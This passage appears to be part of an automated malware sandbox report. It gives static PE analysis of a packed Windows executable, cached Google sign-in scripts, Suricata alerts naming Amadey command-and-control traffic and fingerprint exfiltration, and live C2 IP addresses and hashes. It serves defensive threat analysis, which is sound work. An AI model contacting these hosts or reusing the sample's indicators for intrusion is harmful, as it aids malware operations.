5nYTd:ZDZcre;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;ScI3Yc:e7Hzgb;UpnZUd:nnwwYc;Uvc8o:VDovNc;XdiAjb:NLiXbe;YIZmRd:A1yn5d;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;dowIGb:ebZ3mb;eBAeSb:zbML3c;iFQyKf:vfuNJf;lOO0Vd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qafBPd:yDVVkb;qddgKe:xQtZb;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=iAskyc,ziXSP"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.k("iAskyc");._.lZ=function(a){_.W.call(this,a.Ha);this.window=a.Ea.window.get();this.kc=a.Ea.kc};_.K(_.lZ,_.W);_.lZ.Ca=function(){return{Ea:{window:_.fv,kc:_.SF}}};_.lZ.prototype.Vp=function(){};_.lZ.prototype.addEncryptionRecoveryMethod=function(){};_.mZ=function(a){return(a==null?void 0:a.Op)\|\|function(){}};_.nZ=function(a){return(a==null?void 0:a.P4)\|\|function(){}};_.kVb=function(a){return(a==null?void 0:a.Hq)\|\|function(){}};._.lVb=function(a){return new Map(Array.from(a,function(b){var c=_.n(b);b=c.next().value;c=c.next().value;return[b,c.map(function(d){return{epoch:d.epoch,key:new Uint8Array(d.key)}})]}))};_.mVb=function(a){setTimeout(function(){throw a;},0)};_.lZ.prototype.dQ=function(){return!0};_.oZ=function(a,b,c,d){c=c===void 0?"":c;a=a.kc;var e=a.XP,f=new _.HF;b=_.ak(f,7,_.AXa,b==null?b:_.Qc(b));e.call(a,305,b,d,void 0,void 0,_.dUb(new _.GF,_.cUb(new _.HY,c)))};

Chrome Cache Entry: 281

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (683)
Category:	downloaded
Size (bytes):	3131
Entropy (8bit):	5.399846119659807
Encrypted:	false
SSDEEP:	48:o77hIdXD7qs+ucu5jNQ8jsw1GheuwejUZrqHm9O3WEpZLEF1vf5tvLSxMe5wBDrw:oJazePu5jOQ8YRwUw3ZZLiXvz8+fw
MD5:	9F0C7A347DC37CA3118F4B65598C226E
SHA1:	50FC1B6D82BC2991BF06F07DDCE8CFD540D2B5AA
SHA-256:	2E97BF41C7C4C1708292E4FD91E03BC7B74FD0CED3A3DCA7C0AE77400D49060C
SHA-512:	713C45D91FE169AE3A53EFEF5CFD049B7137D43615251C44C0D4E1EB334241885EB1548BA7DBBAAEB53E808777B4921E57833855E1B98CB7BFF92A62A7F5934A
Malicious:	false
URL:	"https://www.gstatic.com/_/mss/boq-identity/_/js/k=boq-identity.AccountsSignInUi.en.8TmbtYVjfuM.es5.O/ck=boq-identity.AccountsSignInUi.H4HQ-YBujpI.L.B1.O/am=iB3MZPhGEBD_8DSgN6BIIGQAAAAAAAAAANAGAACAhwE/d=1/exm=AvtSve,CMcBD,E87wgc,EFQ78c,EN3i8d,Fndnac,I6YDgd,IZT63,K0PMbc,K1ZKnb,KUM7Z,L1AAkb,L9OGUe,LDQI,LEikZe,LvGhrf,MpJwZc,NOeYWe,O6y8ed,PHUIyb,PrPYRd,Rkm0ef,RqjULd,SCuOPb,SD8Jgb,STuCOe,SpsfSb,Tbb4sb,UUJqVe,Uas9Hd,WpP9Yc,YHI3We,YTxL4,YgOFye,_b,_tp,aC1iue,aW3pY,b3kMqb,bSspM,bTi8wc,byfTOb,cYShmd,eVCnO,f8Gu1e,hc6Ubd,inNHtf,lsjVmc,ltDFwf,lwddkf,m9oV,mvkUhe,n73qwf,niKKCd,njlZCf,oLggrd,oqkvIf,p3hmRc,pxq3x,qPYxq,qmdT9,rmumx,siKnQd,soHxf,t2srLd,tUnxGc,vHEMJe,vfuNJf,vjKJJ,ws9Tlc,xBaz7b,xQtZb,xiZRqc,y5vRwf,yRXbo,ywOR5c,z0u0L,zbML3c,ziZ8Mc,zr1jrb,zy0vNb/excm=_b,_tp,identifierview/ed=1/wt=2/ujg=1/rs=AOaEmlH14nGOHwmtx_KyM4auHWbvN9Izig/ee=ASJRFf:DAnQ7e;Al0B8:kibjWe;DaIJ8c:iAskyc;EVNhjf:pw70Gc;EkYFhd:GwYlN;EmZ2Bf:zr1jrb;JsbNhc:Xd8iUd;K5nYTd:ZDZcre;LBgRLc:XVMNvd;Me32dd:MEeYgc;NPKaK:PVlQOd;NSEoX:lazG7b;Pjplud:EEDORb;QGR0gd:Mlhmy;SMDL4c:K0PMbc;SNUn3:ZwDk9d;ScI3Yc:e7Hzgb;UpnZUd:nnwwYc;Uvc8o:VDovNc;XdiAjb:NLiXbe;YIZmRd:A1yn5d;a56pNe:JEfCwb;cEt90b:ws9Tlc;dIoSBb:SpsfSb;dowIGb:ebZ3mb;eBAeSb:zbML3c;iFQyKf:vfuNJf;lOO0Vd:OTA3Ae;nAFL3:NTMZac;nTuGK:JKNPM;oGtAuc:sOXFj;oSUNyd:K0PMbc;oXZmbc:tUnxGc;pXdRYb:L9OGUe;qafBPd:yDVVkb;qddgKe:xQtZb;vNjB7d:YTxL4;wR5FRb:siKnQd;yxTchf:KUM7Z/m=ZwDk9d,RMhBfe"
Preview:	"use strict";this.default_AccountsSignInUi=this.default_AccountsSignInUi\|\|{};(function(_){var window=this;.try{._.k("ZwDk9d");.var dB=function(a){_.W.call(this,a.Ha)};_.K(dB,_.W);dB.Ca=_.W.Ca;dB.prototype.VT=function(a){return _.hf(this,{Ya:{IU:_.fm}}).then(function(b){var c=window._wjdd,d=window._wjdc;return!c&&d?new _.Pi(function(e){window._wjdc=function(f){d(f);e(RKa(f,b,a))}}):RKa(c,b,a)})};var RKa=function(a,b,c){return(a=a&&a[c])?a:b.Ya.IU.VT(c)};.dB.prototype.aa=function(a,b){var c=_.ksa(b).Wk;if(c.startsWith("$")){var d=_.ln.get(a);_.Sq[b]&&(d\|\|(d={},_.ln.set(a,d)),d[c]=_.Sq[b],delete _.Sq[b],_.Tq--);if(d)if(a=d[c])b=_.lf(a);else throw Error("Vb`"+b);else b=null}else b=null;return b};_.cv(_.Ufa,dB);._.l();._.k("SNUn3");._.QKa=new _.Bf(_.Og);._.l();._.k("RMhBfe");.var VKa=function(a){var b=_.Rq(a);return b?new _.Pi(function(c,d){var e=function(){b=_.Rq(a);var f=_.aga(a,b);f?c(f.getAttribute("jsdata")):window.document.readyState=="complete"?(f=["Unable to find deferred jsdata wit

Chrome Cache Entry: 282

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	84
Entropy (8bit):	4.852645816977233
Encrypted:	false
SSDEEP:	3:DZFJu0+WVTBCq2xCKsJJuYHSKnZ:lFJuuVTBpnu4SKZ
MD5:	3D76DE7C583DA8ED6D1D5AB91239F88B
SHA1:	A0818EFD94EFC525EBF513EDE7CADE6D038DF57A
SHA-256:	E9FBC4E9A936269D7CC25B32C7910F3861CA3D3AE84907A34D613442E44A01E1
SHA-512:	0DA8AD357DFCEB655865C834BFAF7EABE3762DB13EF9BE681F2426540E767C8F3779D1E90D9DACB3040363F72A263DA9FA4F61EEA72C21DC07DED17488207504
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISHgmA6QC9dWevzxIFDRkBE_oSBQ3oIX6GEgUN05ioBw==?alt=proto
Preview:	Cj0KBw0ZARP6GgAKKQ3oIX6GGgQISxgCKhwIClIYCg5AIS4kI18qLSY/Ky8lLBABGP////8PCgcN05ioBxoA

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.950712593238817
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'921'024 bytes
MD5:	5ca58d76edc0e7291bf3d6bad7edbbe9
SHA1:	694124bf2e8d817b7f188706bbc49d0088317fe2
SHA256:	d4e13faefc09eb85be337713e8899e9f6761d45593e33d19b14ac6f986b2a103
SHA512:	82b990ce963247c140161ce9ab28c79c5b4d648ddf46d622e152e3c0d79842be1cf1009a493b7af37b83976f36c05b56e353c6f7166dfc701979f87447f51fad
SSDEEP:	49152:JzqRbJAOwImTwJuvYsiI5kDbZF6j9FWHK:wRVA8xobiI566j9Aq
TLSH:	849533E552D3CA8DDB2F5E3A7EFCBB0A8B6C65A618FDB0A40786C52E01E75931103171
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x8c2000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F075C6E81FAh
ucomiss xmm3, dqword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pushad
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x344	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x4c038c	0x10	dkmnrssd
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x4c033c	0x18	dkmnrssd
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	f9635273d2818b98a7a2fa86db9137aa	False	0.9983289339237057	data	7.985416397888055	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x344	0x400	982623c07c43a8169da5c3bd55ce4d06	False	0.4345703125	data	5.395849414192414	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x6b000	0x2b2000	0x200	13a6168112fbb80aeee02194c6361f23	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
dkmnrssd	0x31d000	0x1a4000	0x1a3400	70e49b80f0f0f1c8a2902923ad02a41a	False	0.9946245387969589	OpenPGP Secret Key	7.954101495285281	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
tqafgssw	0x4c1000	0x1000	0x400	56dd0fd8b555cbb1a74788d965b2c10b	False	0.7451171875	data	5.830853469387494	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4c2000	0x3000	0x2200	55c2f671bcfeb61a3acbd5da8811859f	False	0.03527113970588235	DOS executable (COM)	0.31118182028299757	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x152	ASCII text, with CRLF line terminators			0.6479289940828402
RT_MANIFEST	0x691c4	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-24T04:23:05.653207+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49812	185.215.113.43	80	TCP
2024-11-24T04:23:28.706916+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49872	31.41.244.11	80	TCP
2024-11-24T04:23:30.699741+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49869	TCP
2024-11-24T04:23:32.129555+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49881	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 24, 2024 04:21:53.556804895 CET	49674	443	192.168.2.5	23.1.237.91
Nov 24, 2024 04:21:53.556807995 CET	49675	443	192.168.2.5	23.1.237.91
Nov 24, 2024 04:21:53.650540113 CET	49673	443	192.168.2.5	23.1.237.91
Nov 24, 2024 04:22:03.212994099 CET	49674	443	192.168.2.5	23.1.237.91
Nov 24, 2024 04:22:03.253889084 CET	49675	443	192.168.2.5	23.1.237.91
Nov 24, 2024 04:22:03.253889084 CET	49673	443	192.168.2.5	23.1.237.91
Nov 24, 2024 04:22:05.746314049 CET	443	49703	23.1.237.91	192.168.2.5
Nov 24, 2024 04:22:05.746422052 CET	49703	443	192.168.2.5	23.1.237.91
Nov 24, 2024 04:22:13.979515076 CET	49704	443	192.168.2.5	4.175.87.197
Nov 24, 2024 04:22:13.979577065 CET	443	49704	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:13.979685068 CET	49704	443	192.168.2.5	4.175.87.197
Nov 24, 2024 04:22:13.981362104 CET	49704	443	192.168.2.5	4.175.87.197
Nov 24, 2024 04:22:13.981374025 CET	443	49704	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:15.820564032 CET	443	49704	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:15.820641994 CET	49704	443	192.168.2.5	4.175.87.197
Nov 24, 2024 04:22:15.822933912 CET	49704	443	192.168.2.5	4.175.87.197
Nov 24, 2024 04:22:15.822945118 CET	443	49704	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:15.823364019 CET	443	49704	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:15.869246960 CET	49704	443	192.168.2.5	4.175.87.197
Nov 24, 2024 04:22:16.345515013 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:16.345546961 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:16.345699072 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:16.345995903 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:16.346009016 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:17.455593109 CET	49704	443	192.168.2.5	4.175.87.197
Nov 24, 2024 04:22:17.503338099 CET	443	49704	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:18.057734966 CET	443	49704	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:18.057796955 CET	443	49704	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:18.057817936 CET	443	49704	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:18.057847023 CET	49704	443	192.168.2.5	4.175.87.197
Nov 24, 2024 04:22:18.057857990 CET	443	49704	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:18.057873964 CET	443	49704	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:18.057883978 CET	49704	443	192.168.2.5	4.175.87.197
Nov 24, 2024 04:22:18.057934999 CET	49704	443	192.168.2.5	4.175.87.197
Nov 24, 2024 04:22:18.057940960 CET	443	49704	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:18.076606035 CET	443	49704	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:18.076677084 CET	49704	443	192.168.2.5	4.175.87.197
Nov 24, 2024 04:22:18.076687098 CET	443	49704	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:18.076823950 CET	443	49704	4.175.87.197	192.168.2.5
Nov 24, 2024 04:22:18.076873064 CET	49704	443	192.168.2.5	4.175.87.197
Nov 24, 2024 04:22:18.132780075 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:18.132858992 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:18.135096073 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:18.135112047 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:18.135337114 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:18.146097898 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:18.187359095 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:18.617114067 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:18.617142916 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:18.617166996 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:18.617240906 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:18.617269993 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:18.617326021 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:18.806297064 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:18.806322098 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:18.806380987 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:18.806406021 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:18.806457996 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:18.849766970 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:18.849801064 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:18.849874973 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:18.849899054 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:18.849915981 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:18.850302935 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:18.983875036 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:18.983899117 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:18.983968019 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:18.983984947 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:18.984035969 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.021920919 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.021943092 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.022069931 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.022084951 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.022156954 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.040148020 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.040168047 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.040241957 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.040256977 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.040327072 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.061502934 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.061525106 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.061573029 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.061585903 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.061641932 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.061641932 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.178596973 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.178625107 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.178714991 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.178730965 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.178751945 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.181880951 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.194955111 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.194977045 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.195070028 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.195081949 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.195198059 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.210612059 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.210634947 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.210678101 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.210689068 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.210716009 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.210927010 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.224183083 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.224204063 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.224303961 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.224313974 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.224375010 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.226646900 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.239686012 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.239707947 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.239778042 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.239787102 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.239844084 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.372334957 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.372358084 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.372513056 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.372513056 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.372533083 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.372628927 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.376708031 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.376779079 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.376852036 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.376852036 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.376971960 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.376971960 CET	49707	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.376988888 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.376991987 CET	443	49707	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.419121027 CET	49710	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.419154882 CET	443	49710	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.419255018 CET	49710	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.420927048 CET	49711	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.421056986 CET	443	49711	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.421149969 CET	49711	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.421308994 CET	49710	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.421324015 CET	443	49710	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.422888041 CET	49712	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.422920942 CET	443	49712	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.423003912 CET	49712	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.423098087 CET	49711	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.423132896 CET	443	49711	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.423263073 CET	49712	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.423274040 CET	443	49712	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.424254894 CET	49713	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.424285889 CET	443	49713	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.424365997 CET	49713	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.425550938 CET	49714	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.425559044 CET	443	49714	13.107.246.63	192.168.2.5
Nov 24, 2024 04:22:19.425622940 CET	49714	443	192.168.2.5	13.107.246.63
Nov 24, 2024 04:22:19.425838947 CET	49714	443	192.168.2.5	13.107.246.63
